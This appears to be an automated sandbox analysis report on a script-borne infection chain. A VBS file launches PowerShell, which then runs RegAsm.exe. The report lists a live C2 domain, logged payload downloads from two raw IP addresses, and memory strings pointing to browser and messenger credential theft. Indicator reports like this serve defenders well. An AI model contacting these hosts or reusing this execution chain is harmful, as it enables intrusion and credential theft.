Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000001.00000002.1797742900.000001F16A790000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	3_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	3_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	3_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	3_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	3_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040783C FindFirstFileW,FindNextFileW,	3_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	3_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	3_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	3_2_0040BD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_100010F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040AE51 FindFirstFileW,FindNextFileW,	4_2_0040AE51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,	5_2_00407EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,	7_2_00407898

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

3_2_00407C97

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: maveing.duckdns.org

Uses dynamic DNS services

Source: unknown

DNS query: name: maveing.duckdns.org

Source: screensimplethingstohandlecream.gIF.vbs	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: screensimplethingstohandlecream.gIF.vbs	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4

Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /50/HNBC.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 198.46.176.133 198.46.176.133
Source: Joe Sandbox View	IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_0041B380

Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /50/HNBC.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: RegAsm.exe, 00000004.00000002.1747223891.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3file://192.168.2.1/all/ProfessionalRetail.imgfile://192.168.2.1/all/Professional2019Retail.imghttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
Source: RegAsm.exe, 00000004.00000002.1747223891.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3file://192.168.2.1/all/ProfessionalRetail.imgfile://192.168.2.1/all/Professional2019Retail.imghttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
Source: RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
Source: RegAsm.exe, RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
Source: RegAsm.exe	String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: bhvDE09.tmp.4.dr	String found in binary or memory: pop-lva1.www.linkedin.com equals www.linkedin.com (Linkedin)
Source: bhvDE09.tmp.4.dr	String found in binary or memory: pop-lva1.www.linkedin.com0 equals www.linkedin.com (Linkedin)
Source: RegAsm.exe, 00000004.00000002.1744513977.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
Source: RegAsm.exe, 00000004.00000002.1744513977.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: maveing.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.154
Source: powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.154/50/HNBC.txt
Source: powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133
Source: powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
Source: powershell.exe, 00000001.00000002.1796467839.000001F16A425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg00Bj
Source: powershell.exe, 00000001.00000002.1796467839.000001F16A425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg7
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertCloudServicesCA-1.crt0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://cacerts.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crt0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertCloudServicesCA-1-g1.crl0?
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crl0H
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertCloudServicesCA-1-g1.crl0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0~
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://crl4.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crl0
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.2929959756.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2929959756.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2929959756.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp7
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpP
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpR9
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpd
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpl
Source: powershell.exe, 00000001.00000002.1760253899.000001F161FF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://ocsp.digicert.com0:
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://ocsp.digicert.com0H
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://ocsp.digicert.com0Q
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://ocsp.msocsp.com0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://ocsp.msocsp.com0S
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://ocspx.digicert.com0E
Source: powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1702329614.000001F151F81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1702329614.000001F1521A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://www.digicert.com/CPS0~
Source: RegAsm.exe, RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ebuddy.com
Source: RegAsm.exe, RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.com
Source: RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
Source: RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.comr
Source: bhvDE09.tmp.4.dr	String found in binary or memory: http://www.msftconnecttest.com/connecttest.txt?n=1696334965379
Source: RegAsm.exe, 00000004.00000002.1746136572.00000000008F4000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net
Source: RegAsm.exe, 00000007.00000002.1737644075.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://18a72a1f5c7b170c6cc0a459d463264e.azr.footprintdns.com/apc/trans.gif?18b635b804a8d6ad0a1fa437
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://18a72a1f5c7b170c6cc0a459d463264e.azr.footprintdns.com/apc/trans.gif?c9b5e9d2b836931c8ddd4e8d
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://4c4f378c706610974da9cb9d99fe3116.azr.footprintdns.com/apc/trans.gif?1c89d9658c6af83a02d98b03
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://4c4f378c706610974da9cb9d99fe3116.azr.footprintdns.com/apc/trans.gif?74b620657ac570f7999e6ad7
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://58293426822f9aaf9d7c729f28294583.azr.footprintdns.com/apc/trans.gif?cf2d8bf3b68a3e37eef992d5
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://58293426822f9aaf9d7c729f28294583.azr.footprintdns.com/apc/trans.gif?fc66b8a78ab7a1394f56e742
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://86dd05e6f545b5502aade4a1946d3e9d.azr.footprintdns.com/apc/trans.gif?66601c3b572f284b9da07fcc
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://86dd05e6f545b5502aade4a1946d3e9d.azr.footprintdns.com/apc/trans.gif?f67d919da1a9ba8a5672367d
Source: bhvDE09.tmp.4.dr	String found in binary or memory: https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=W
